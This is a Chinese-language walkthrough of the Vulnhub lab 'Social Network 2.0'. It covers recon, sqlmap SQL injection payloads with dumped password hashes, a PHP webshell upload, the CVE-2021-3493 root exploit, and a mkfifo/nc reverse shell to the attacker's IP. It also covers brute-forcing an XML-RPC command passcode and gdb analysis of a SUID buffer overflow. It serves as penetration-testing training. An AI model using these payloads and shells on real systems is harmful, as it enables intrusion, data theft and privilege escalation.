Vulnhub 靶场 【BoredHackerBlog: Social Network 2.0】

介绍

  • 攻击机:kali (192.168.0.109)
  • 靶机:BoredHackerBlog: Social Network 2.0
  • 打靶目标:取得 root 权限
  • 靶机运行平台:VirtualBox
  • 难度:Hard

实战

因此时已于靶机处于同一网段,直接进行主机发现,寻找到目标靶机IP,这里使用工具arp-scan
找到后进行常规的端口探测,根据开放的端口进行详细服务版本探测;

└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:0c:60:44, IPv4: 192.168.0.109
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.0.1	48:7d:2e:fb:1d:a9	TP-LINK TECHNOLOGIES CO.,LTD.
192.168.0.106	84:fd:d1:28:fe:ce	Intel Corporate
192.168.0.115	08:00:27:98:cf:1c	PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.012 seconds (127.24 hosts/sec). 3 responded
                                                                                                                                                       
└─# nmap -p-  192.168.0.115     
Starting Nmap 7.92 ( https://nmap.org ) at 2022
Nmap scan report for 192.168.0.115
Host is up (0.00032s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8000/tcp open  http-alt
MAC Address: 08:00:27:98:CF:1C (Oracle VirtualBox virtual NIC)
                                                                                                                                                    
└─# nmap -p22,80,8000 -sV  192.168.0.115
Starting Nmap 7.92 ( https://nmap.org ) at 2022
Nmap scan report for 192.168.0.115
Host is up (0.00032s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
8000/tcp open  http    BaseHTTPServer 0.3 (Python 2.7.15rc1)
MAC Address: 08:00:27:98:CF:1C (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

使用浏览器,对靶机的Web服务进行访问;
80端口可以被正常访问,且是一个Web应用程序的登录页面;

8000端口无法访问,状态码为501,说明是一个服务端错误,给出的理由是不支持 GET 方式进行直接访问;
这就很奇怪了,因为一般通常情况下访问Web服务端无外乎两种方法:GET 或 POST ;

尝试使用 Burpsuite 修改HTTP请求方法提交数据,看看服务器会不会给出正常响应,判断出服务器支持哪种请求方式;
先尝试用 OPTIONS 方法,但依然不支持此方法,接下来依次对 POST、PUT、DELETE 进行尝试,依然如此;

既然这条路不通,那就尝试回到80端口入手;
看到这种页面,一般首先想到的是万能密码和暴力破解,根据尝试,发现Email必须是以目标指定格式来书写,也就是说这里必须得搞到至少一个内部邮箱地址,但这里是本地靶机,几乎不可能搞到;

既然直接暴力登录不行,但这里提供了另一条途径,就是存在一个开放用户注册功能;
使用一些虚假信息进行注册,创建好账号后,直接进入到了目标Web应用程序,很明显,是一个社交平台;
接下来,就是对该平台的一些基本业务功能的了解;

首先顶部是一个表单,输入一些内容后,提交就能发帖;
再来看已有帖子,从第一条就可以判断出,服务器上有个名为monitor.py的脚本文件,用来监视服务器性能,但它是否正还在运行不得而知;
因为能运行py文件,也同时说明服务器有Python的语言运行环境;
之后的帖子就没有什么太多的利用信息了,通过此次对首页的访问,至少能判断出,当前Web应用程序中至少还有两个用户;
通过点击admin这个账户,查看用户详细信息,尝试能否找出它的邮箱信息进行密码暴力破解,但依然未找到利用信息;

继续进行信息收集,点击页面的每一个链接;

SQL注入

在页面顶部,很明显有个搜索框,应第一时间想到输入一些特殊字符,测试对方是否有注入漏洞;
在这里使用了'测试出此处极大可能存在SQL注入漏洞,它将后台SQL语句语法报错信息直接显示在了前端页面,数据库类型使用的是MySQL,尝试是否能利用其脱库或Getshell;

先使用 Burpsuite 任意抓取一个提交值,将数据包保存为一个文件,再使用 SQLMap,进行SQL注入的检测;

指定刚刚保存的数据包文件,再指定爆破参数为query,得到确定存在漏洞后,进一步获得数据库名、表名、字段名、数据;

└─# sqlmap -r SQL -p query
sqlmap identified the following injection point(s) with a total of 94 HTTP(s) requests:
---
Parameter: query (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: location=emails&query=-6813' OR 5220=5220#

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: location=emails&query=a' AND GTID_SUBSET(CONCAT(0x7170717071,(SELECT (ELT(6764=6764,1))),0x7170706271),6764)-- ycjE

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: location=emails&query=a' AND (SELECT 6758 FROM (SELECT(SLEEP(5)))bNqI)-- wImr

    Type: UNION query
    Title: MySQL UNION query (NULL) - 11 columns
    Payload: location=emails&query=a' UNION ALL SELECT NULL,NULL,CONCAT(0x7170717071,0x4a774d544c6151594a685476794b59446876516c414a626a4a52576768644146565a7771626c6f6f,0x7170706271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
---


└─# sqlmap -r SQL -p query --dbs
[04:50:17] [INFO] fetching database names
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] socialnetwork
[*] sys


└─# sqlmap -r SQL -p query -D socialnetwork --tables
Database: socialnetwork
[4 tables]
+------------+
| friendship |
| posts      |
| user_phone |
| users      |
+------------+


└─# sqlmap -r SQL -p query -D socialnetwork -T users --columns
Database: socialnetwork
Table: users
[11 columns]
+----------------+--------------+
| Column         | Type         |
+----------------+--------------+
| user_about     | text         |
| user_birthdate | date         |
| user_email     | varchar(255) |
| user_firstname | varchar(20)  |
| user_gender    | char(1)      |
| user_hometown  | varchar(255) |
| user_id        | int(11)      |
| user_lastname  | varchar(20)  |
| user_nickname  | varchar(20)  |
| user_password  | varchar(255) |
| user_status    | char(1)      |
+----------------+--------------+


└─# sqlmap -r SQL -p query -D socialnetwork -T users -C user_email,user_password --dump
Database: socialnetwork                                                                                                                               
Table: users
[3 entries]
+------------------------+----------------------------------------------+
| user_email             | user_password                                |
+------------------------+----------------------------------------------+
| admin@localhost.com    | 21232f297a57a5a743894a0e4a801fc3 (admin)     |
| testuser@localhost.com | 5d9c68c6c50ed3d02a2fcf54f63993b6 (testuser)  |
| FirstNamE@mailg.com    | 25f9e794323b453885f5181f1b624d0b (123456789) |
+------------------------+----------------------------------------------+

拿到管理员账号密码信息后,尝试登录,看看管理员页面与普通用户页面的不同功能的地方有哪些,是否能帮助我们获得更大的权限;

但是发现,没有其它不同的可利用点,同样还是同一位置同一Shell权限的文件上传漏洞;

文件上传

这里在个人主页的左侧边栏,发现了一个能上传图片改变头像的功能,立马想到是否能进行文件上传漏洞Getshell;

选中已写好的木马,因为目前尚未知晓对方是否有过滤机制,因此只能一步步测试进行分析绕过,这里先尝试直接上传试试,竟然直接成功;

因为这里上传的是PHP文件,图片肯定不显示,右键直接拷贝头像图片URL地址,访问会得到一个空页面,说明极大可能是确实上传成功了的;

打开 AntSword 进行连接,直接成功,成功突破边界获取到了目标普通用户权限;


在AntSword中已获取到的Shell里,进行提权的信息收集,查看内核版本,以及详细系统版本;

(www-data:/var/www/html/data/images/profiles) $ uname -a
Linux socnet2 4.15.0-38-generic #41-Ubuntu SMP Wed Oct 10 10:59:38 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
(www-data:/var/www/html/data/images/profiles) $ lsb_release -a
No LSB modules are available.
Distributor ID:    Ubuntu
Description:    Ubuntu 18.04.1 LTS
Release:    18.04
Codename:    bionic

CVE-2021-3493

通过获取的这些信息,进行漏洞信息检索,可以发现针对Ubuntu 18.04.1 LTS有一个最新的提权漏洞:CVE-2021-3493;
通过互联网获取到EXP脚本,再利用AntSword的文件上传功能,将EXP上传到目标服务器;

但是呢,这里从反馈的信息来看,虽然已经提权成功,但似乎是AntSword的Shell功能不全还不支持此操作;

(www-data:/var/www/html/data/images/profiles) $ gcc exploit.c -o exploit
(www-data:/var/www/html/data/images/profiles) $ chmod +x exploit
(www-data:/var/www/html/data/images/profiles) $ ./exploit
bash: cannot set terminal process group (10348): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.4# exit
(www-data:/var/www/html/data/images/profiles) $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

那就换成通过NC进行执行;
这里发现目标的nc是不支持-e参数的,那就利用操作系统命令的mkfifo创建有名管道进行连接;

FIFO("First In, First Out",有名管道),无名管道只能在父进程和子进程或兄弟进程(亲缘关系进程间)之间进行通信,而FIFO则无此限制,即可以在任意进程之间进行通信。
FIFO提供一个路径名与之关联,以FIFO的文件形式存在于文件系统中。这样,即使与FIFO的创建进程不存在亲缘关系的进程,只要可以访问该路径,就能够彼此通过FIFO相互通信(能够访问该路径的进程以及FIFO的创建进程之间)

创建一个路径对象为FIFO,通过此对象中转实现执行 /bin/bash,再通过管道将执行结果的输出反弹到攻击机;

(www-data:/var/www/html/data/images/profiles) $ rm /tmp/test; mkfifo /tmp/test; cat /tmp/test|/bin/bash -i 2>&1|nc 192.168.0.109 3333 >/tmp/test
└─# nc -nvlp 3333
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::3333
Ncat: Listening on 0.0.0.0:3333
Ncat: Connection from 192.168.0.115.
Ncat: Connection from 192.168.0.115:34574.
bash: cannot set terminal process group (10348): Inappropriate ioctl for device
bash: no job control in this shell
www-data@socnet2:/var/www/html/data/images/profiles$ ls
ls
1
1.png
2.png
3.php
exploit
exploit.c
ovlcap
www-data@socnet2:/var/www/html/data/images/profiles$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

执行提权脚本,成功获得root权限;

www-data@socnet2:/var/www/html/data/images/profiles$ ls
ls
1  1.png  2.png  3.php	exploit  exploit.c  ovlcap
www-data@socnet2:/var/www/html/data/images/profiles$ ./exploit
./exploit
bash-4.4# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
bash-4.4# whoami   
whoami
root

靶机作者设计的提权漏洞

通过获取到的普通用户Shell,进行信息收集,查找是否有已经被用户创建好的应用程序运行的账号,查找到有个 socnet 的用户具有 /bin/bash 的权限;

www-data@socnet2:/var/www/html/data/images/profiles$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
socnet:x:1000:1000:socnet2:/home/socnet:/bin/bash
mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false

尝试去 /home 下查找是否有该用户的主目录,若有就进入查看里面的文件有没有利用信息;

www-data@socnet2:/home$ ls
ls
socnet
www-data@socnet2:/home$ cd socnet
cd socnet
www-data@socnet2:/home/socnet$ ls -l
ls -l
total 16
-rwsrwsr-x 1 root   socnet 6952 Oct 29  2018 add_record
-rw-rw-r-- 1 socnet socnet  904 Oct 29  2018 monitor.py
drwxrwxr-x 4 socnet socnet 4096 Oct 29  2018 peda

第二个文件就是在Web前端页面,admin用户发的贴子里提到的脚本文件,用于监视服务器运行状态,查看一下系统进程,验证一下是否还正在运行;

www-data@socnet2:/home/socnet$ ps aux | grep monitor
ps aux | grep monitor
socnet     799  0.0  0.0   4628   716 ?        Ss   May30   0:00 /bin/sh -c /usr/bin/python /home/socnet/monitor.py
socnet     804  0.0  0.9  42960 10004 ?        S    May30   0:30 /usr/bin/python /home/socnet/monitor.py
www-data 30723  0.0  0.1  11468  1052 pts/0    S+   16:37   0:00 grep monitor

现在确实是正在运行状态,查看文件源码进行代码审计,寻找是否有对提权有价值的信息;

#my remote server management API
import SimpleXMLRPCServer
import subprocess
import random

debugging_pass = random.randint(1000,9999) # 生成随机四位数

def runcmd(cmd):   # 调用子进程将cmd作为shell命令执行,并且传入的cmd的值是可控的
    results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    output = results.stdout.read() + results.stderr.read()
    return output

def cpu():
    return runcmd("cat /proc/cpuinfo")   # 查看操作系统当前CPU信息

def mem():
    return runcmd("free -m")   # 查看操作系统当前内存信息

def disk():
    return runcmd("df -h")   # 查看操作系统当前磁盘存储信息

def net():
    return runcmd("ip a")   # 查看操作系统当前网络配置信息

def secure_cmd(cmd,passcode):   # 想让其执行任意系统命令,就得先知道passcode,也就是debugging_pass的随机四位数数值
    if passcode==debugging_pass:
         return runcmd(cmd)   # 可以编写客户端程序,通过运行结果暴力破解出passcode
    else:
        return "Wrong passcode."

server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000)) # 不接收任何HTTP请求方式的原因,因为只接受XMLRPC
server.register_function(cpu)
server.register_function(mem)
server.register_function(disk)
server.register_function(net)
server.register_function(secure_cmd)

server.serve_forever()

XML-RPC:一个远程过程调用(远端程序呼叫)(remote procedure call,RPC)的分布式计算协议,通过XML将调用函数封装,并使用HTTP协议作为传送机制。利用此协议在服务端生成一个API应用程序接口,此接口接收客户端同样使用XML-RPC请求方式访问服务端应用的应用程序,运行其中封装定义的函数,从而实现应用程序交互的某些效果。

# xmlrpc.server
from xmlrpc.server import SimpleXMLRPCServer

def is_even(n):
   return n % 2 == 0

server = SimpleXMLRPCServer(("localhost", 8000))
print("Listening on port 8000...")
server.register_function(is_even, "is_even")
server.serve_forever()
# xmlrpc.client
import xmlrpc.client

with xmlrpc.client.ServerProxy("http://localhost:8000/") as proxy:
    print("3 is even: %s" % str(proxy.is_even(3)))
    print("100 is even: %s" % str(proxy.is_even(100)))

若此客户端脚本,可以正确发向服务器端,请求到服务端的这些函数,也就说明我们可以通过此方式让服务端帮助我们执行一些代码;
进而基于这个测试的结果,去猜测暴力破解出passcode,找出正确值后,利用secure_cmd去执行任意操作系统命令;

└─# python3 xmlrpc_client.py
processor	: 0
vendor_id	: GenuineIntel
cpu family	: 6
model		: 142
model name	: Intel(R) Core(TM) i7-10210U CPU @ 2.60GHz
stepping	: 12
cpu MHz		: 2112.002
cache size	: 6144 KB
physical id	: 0
siblings	: 1
core id		: 0
cpu cores	: 1
apicid		: 0
initial apicid	: 0
fpu		: yes
fpu_exception	: yes
cpuid level	: 22
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx rdtscp lm constant_tsc rep_good nopl xtopology nonstop_tsc cpuid pni pclmulqdq monitor ssse3 cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx rdrand hypervisor lahf_lm abm 3dnowprefetch invpcid_single fsgsbase avx2 invpcid rdseed clflushopt flush_l1d arch_capabilities
bugs		: spectre_v1 spectre_v2 spec_store_bypass
bogomips	: 4224.00
clflush size	: 64
cache_alignment	: 64
address sizes	: 39 bits physical, 48 bits virtual
power management:

              total        used        free      shared  buff/cache   available
Mem:            985         297         124           2         563         523
Swap:          1969           2        1967

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:98:cf:1c brd ff:ff:ff:ff:ff:ff
    inet 192.168.0.115/24 brd 192.168.0.255 scope global dynamic enp0s3
       valid_lft 1415sec preferred_lft 1415sec
    inet6 fe80::a00:27ff:fe98:cf1c/64 scope link 
       valid_lft forever preferred_lft forever

可以正确发向服务器;
编写暴力破解的脚本:

└─# python3 xmlrpc_client_Burte.py 
8401
socnet

获取到随机数值后,就可以再编写反弹Shell的脚本:

└─# nc -nvlp 4444          
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.0.115.
Ncat: Connection from 192.168.0.115:46350.
bash: cannot set terminal process group (799): Inappropriate ioctl for device
bash: no job control in this shell
socnet@socnet2:~$ id
id
uid=1000(socnet) gid=1000(socnet) groups=1000(socnet),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)

再次通过信息收集,获知同级目录下的add_record为属主root的32bit的ELF可执行文件,并且具有SUID、SGID;

socnet@socnet2:~$ pwd
pwd
/home/socnet
socnet@socnet2:~$ ls -l
ls -l
total 16
-rwsrwsr-x 1 root   socnet 6952 Oct 29  2018 add_record
-rw-rw-r-- 1 socnet socnet  904 Oct 29  2018 monitor.py
drwxrwxr-x 4 socnet socnet 4096 Oct 29  2018 peda
socnet@socnet2:~$ file add_record
file add_record
add_record: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e3fa9a66b0b1e3281ae09b3fb1b7b82ff17972d8, not stripped

另外同级目录下还有一个叫peda的文件,可用于动态调试,那就很有可能存在溢出类漏洞;

Python PEDA:一个 Python GDB 调试脚本,可帮助加快 Linux/Unix 上的漏洞利用开发过程,友好地进行动态调试

通过调用目标服务端已存在的PEDA(动态调试的环境),来实现对add_record应用程序的漏洞挖掘,进而利用可能出现的溢出漏洞来实现提权;

漏洞挖掘的核心思想就是向目标应用程序的所有的数据提交入口点去提交各种各样的Payload

对于向add_record应用程序进行漏洞挖掘的前提,就是得知道它有哪些数据提交点;
先正常直接执行该程序,按照操作提示正常提交数据,提交完后,同级目录下新增了一个txt文件;

socnet@socnet2:~$ ./add_record
./add_record
Welcome to Add Record application
Use it to add info about Social Network 2.0 Employees
Employee Name(char): Bob
Bob
Years worked(int): 3
3
Salary(int): 1000
1000
Ever got in trouble? 1 (yes) or 0 (no): 0
0
Employee data you've entered:
Name Bob

Years 3, Salary 1000, Trouble 0, Comments NA
socnet@socnet2:~$ ./add_record
./add_record
Welcome to Add Record application
Use it to add info about Social Network 2.0 Employees
Employee Name(char): Ashe
Ashe
Years worked(int): 4
4
Salary(int): 2000
2000
Ever got in trouble? 1 (yes) or 0 (no): 1
1
Explain: abcdefghijklmn
abcdefghijklmn
Employee data you've entered:
Name Ashe

Years 4, Salary 2000, Trouble 1, Comments abcdefghijklmn
socnet@socnet2:~$ ls
ls
add_record  employee_records.txt  monitor.py  peda
socnet@socnet2:~$ cat employee_records.txt
cat employee_records.txt
Name Bob
Years 3, Salary 1000, Trouble 0, Comments NA

Name Ashe
Years 4, Salary 2000, Trouble 1, Comments abcdefghijklmn

可以看出,数据提交点就是这几个输入的位置,针对每一个提交点,挨个测试是否存在溢出类漏洞;
因为目标是存在一个基于GDB的Python扩展脚本 PEDA 的,就直接调用GDB以安静模式来启动,对该应用程序进行动态调试,在调试的结果当中,对里面的内存数据进行监控,发现当中可能存在的溢出漏洞;

socnet@socnet2:~$ gdb -q ./add_record
gdb -q ./add_record
Reading symbols from ./add_record...(no debugging symbols found)...done.
gdb-peda$ 

输入程序正常启动的命令,在第一个数据提交点,提交600个字母A,测试程序是否异常,但这里根据响应信息,这是一个正常退出;

gdb-peda$ r
r
Starting program: /home/socnet/add_record 
Welcome to Add Record application
Use it to add info about Social Network 2.0 Employees
Employee Name(char): AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Years worked(int): Salary(int): Ever got in trouble? 1 (yes) or 0 (no): Employee data you've entered:
Name AAAAAAAAAAAAAAAAAAAAAAAA
Years -136195527, Salary -8481, Trouble 8, Comments NA
[Inferior 1 (process 945) exited normally]
Warning: not running or target is remote

那就继续往下一个数据提交点进行测试,一个一个挨个测,最终,在最后一个数据提交点发生了程序异常,GDB也打印出了相关寄存器、堆栈里面的数据信息;

通过于此,可以分析,当前这个数据提交点,没有做好内存范围的限定,从而导致600个字母,被溢出出来覆盖到了内存当中其它位置,导致这些位置的大量数据都出现了字母A;
并且这里看到EIP寄存器也被4个字母A所覆盖,那现在就要去判断这个四位A所处于Payload的一个准确位置,这样才能知道,当注入第多少个字符的时候,那个字符会被精准的覆盖到EIP寄存器当中;
若一旦明确,就可以在该位置放置恶意Payload所在的内存地址,这样EIP寄存器里的数据就会被我们替换,CPU也会去执行我们的恶意Payload,从而实现想要的效果;
检测位置,最常用的就是利用调试器,找到一个相对比较小的,依然是存在漏洞的位置,生成一串有识别度的字符串,根据溢出内容,准确找到位于何位置;

gdb-peda$ pattern create 100
pattern create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'

gdb-peda$ pattern search
pattern search
Registers contain pattern buffer:
EBX+0 found at offset: 54
EBP+0 found at offset: 58
EIP+0 found at offset: 62

对于此位置要进行验证,生成一串在EIP位置有识别性的字符串,放入验证,结果证实成功,已精确到EIP寄存器位置;

之后要做的,就是向这个位置写入所要执行命令的内存地址;
首先,显示这个应用程序的主程序汇编代码,里面的内容就是当此程序运行时,发向CPU的所有汇编代码指令;

gdb-peda$ disas main
disas main
Dump of assembler code for function main:
   0x080486d8 <+0>:	lea    ecx,[esp+0x4]
   0x080486dc <+4>:	and    esp,0xfffffff0
   0x080486df <+7>:	push   DWORD PTR [ecx-0x4]
   0x080486e2 <+10>:	push   ebp
   0x080486e3 <+11>:	mov    ebp,esp
   0x080486e5 <+13>:	push   edi
   0x080486e6 <+14>:	push   esi
   0x080486e7 <+15>:	push   ebx
   0x080486e8 <+16>:	push   ecx
   0x080486e9 <+17>:	sub    esp,0xa8
   0x080486ef <+23>:	call   0x80485b0 <__x86.get_pc_thunk.bx>
   0x080486f4 <+28>:	add    ebx,0x1654
   0x080486fa <+34>:	mov    DWORD PTR [ebp-0xac],0x414e
   0x08048704 <+44>:	lea    edx,[ebp-0xa8]
   0x0804870a <+50>:	mov    eax,0x0
   0x0804870f <+55>:	mov    ecx,0x18
   0x08048714 <+60>:	mov    edi,edx
   0x08048716 <+62>:	rep stos DWORD PTR es:[edi],eax
   0x08048718 <+64>:	sub    esp,0x8
   0x0804871b <+67>:	lea    eax,[ebx-0x13ee]
   0x08048721 <+73>:	push   eax
   0x08048722 <+74>:	lea    eax,[ebx-0x13ec]
   0x08048728 <+80>:	push   eax
   0x08048729 <+81>:	call   0x8048520 <fopen@plt>
   ... ...

从上往下看,看到最开始执行的调用函数的call,它调用了fopen这样一个C语言的内建函数(该函数作用是打开文件),结合应用程序的正常使用体验,猜测应该可能就是打开employee_records.txt这一文件,之后便于将所有输入的记录都写入到其中;
第二个调用函数的call,调用了puts这样一个内建函数(该函数作用是用于输出一些内容,再通过类似printf这样的函数打印出来),为了验证,可以在其之前的内存地址下一个断点,基于返回的结果、基于内存中的数据,来判断程序运行的流程;

call:调用系统函数

0x0804873d <+101>:	push   eax
0x0804873e <+102>:	call   0x80484e0 <puts@plt>
gdb-peda$ break *0x0804873d
break *0x0804873d
Breakpoint 1 at 0x804873d
gdb-peda$ r

发现并没有在第一个数据提交点所提示的打印信息出现,那就让其使用s进行单步调试,去执行下一步puts函数;
而这里就可以看到该点内容为应用程序正常运行时,最开始出现的欢迎提示语信息;

s:单步向后执行,每次执行一个CPU的指令
c:继续正常往下执行

gdb-peda$ s

依照正常体验应用程序的流程,将汇编代码与之逐步对应,逐步分析函数,直到找到之前出现了漏洞的地方;

gdb-peda$ del 1
del 1
gdb-peda$ break *0x0804877b
break *0x0804877b
Breakpoint 2 at 0x804877b

往下继续分析的时候,发现对方调用了一个似乎是开发者自建的函数vuln,因为其后并未跟有@plt的这样一个系统内建函数说明标识,而且函数名称也很可疑;

   0x08048822 <+330>:	call   0x8048490 <gets@plt>
   0x08048827 <+335>:	add    esp,0x10
   0x0804882a <+338>:	sub    esp,0xc
   0x0804882d <+341>:	lea    eax,[ebp-0xac]
   0x08048833 <+347>:	push   eax
   0x08048834 <+348>:	call   0x80486ad <vuln>
   0x08048839 <+353>:	add    esp,0x10
   0x0804883c <+356>:	sub    esp,0xc
   0x0804883f <+359>:	lea    eax,[ebx-0x130d]
   0x08048845 <+365>:	push   eax
   0x08048846 <+366>:	call   0x80484e0 <puts@plt>

查看一下当前应用程序所使用到的所有函数,在里面更清楚地去了解目标程序 ;
调用setuid说明对方有程序要去申请使用SUID的系统权限,根据之前ls -l的结果,就是add_record这一程序;
调用system说明程序可以执行一些指定的操作系统指令的功能,那么漏洞挖掘的目标就很明确了,就是朝向此函数,去利用程序中可执行系统指令的功能,反弹Shell;
之后两个自建函数,根据其可疑的函数名称,需要重点关注;

gdb-peda$ info func
0x080484f0  system@plt
0x08048530  setuid@plt
0x08048676  backdoor
0x080486ad  vuln

查看一下这两个函数里面的具体执行的指令;
首先在vuln里,发现其又调用了一个strcpyC语言内建函数,通过检索,已知该函数在历史上是存在缓冲区溢出漏洞的,结合之前的溢出测试,猜测可能就是该函数出现缓冲区溢出,然后在这个开发者自建函数里又调用了此系统自带内建函数,很有可能也同时继承了此缓冲区溢出漏洞;
同时此函数位于主函数,是必定会被调用执行,且位置处于变量Explain之后,这也印证了极大可能就是造成缓冲区溢出的原因;

gdb-peda$ disas vuln
disas vuln
Dump of assembler code for function vuln:
   0x080486ad <+0>:	push   ebp
   0x080486ae <+1>:	mov    ebp,esp
   0x080486b0 <+3>:	push   ebx
   0x080486b1 <+4>:	sub    esp,0x44
   0x080486b4 <+7>:	call   0x80488c2 <__x86.get_pc_thunk.ax>
   0x080486b9 <+12>:	add    eax,0x168f
   0x080486be <+17>:	sub    esp,0x8
   0x080486c1 <+20>:	push   DWORD PTR [ebp+0x8]
   0x080486c4 <+23>:	lea    edx,[ebp-0x3a]
   0x080486c7 <+26>:	push   edx
   0x080486c8 <+27>:	mov    ebx,eax
   0x080486ca <+29>:	call   0x80484d0 <strcpy@plt>
   0x080486cf <+34>:	add    esp,0x10
   0x080486d2 <+37>:	nop
   0x080486d3 <+38>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x080486d6 <+41>:	leave  
   0x080486d7 <+42>:	ret    
End of assembler dump.

backdoor里,发现其是调用了setuid函数申请到了系统权限,再去使用system函数去执行指定操作系统指令,但是何指令不得而知;

gdb-peda$ disas backdoor
disas backdoor
Dump of assembler code for function backdoor:
   0x08048676 <+0>:	push   ebp
   0x08048677 <+1>:	mov    ebp,esp
   0x08048679 <+3>:	push   ebx
   0x0804867a <+4>:	sub    esp,0x4
   0x0804867d <+7>:	call   0x80485b0 <__x86.get_pc_thunk.bx>
   0x08048682 <+12>:	add    ebx,0x16c6
   0x08048688 <+18>:	sub    esp,0xc
   0x0804868b <+21>:	push   0x0
   0x0804868d <+23>:	call   0x8048530 <setuid@plt>
   0x08048692 <+28>:	add    esp,0x10
   0x08048695 <+31>:	sub    esp,0xc
   0x08048698 <+34>:	lea    eax,[ebx-0x13f8]
   0x0804869e <+40>:	push   eax
   0x0804869f <+41>:	call   0x80484f0 <system@plt>
   0x080486a4 <+46>:	add    esp,0x10
   0x080486a7 <+49>:	nop
   0x080486a8 <+50>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x080486ab <+53>:	leave  
   0x080486ac <+54>:	ret    
End of assembler dump.

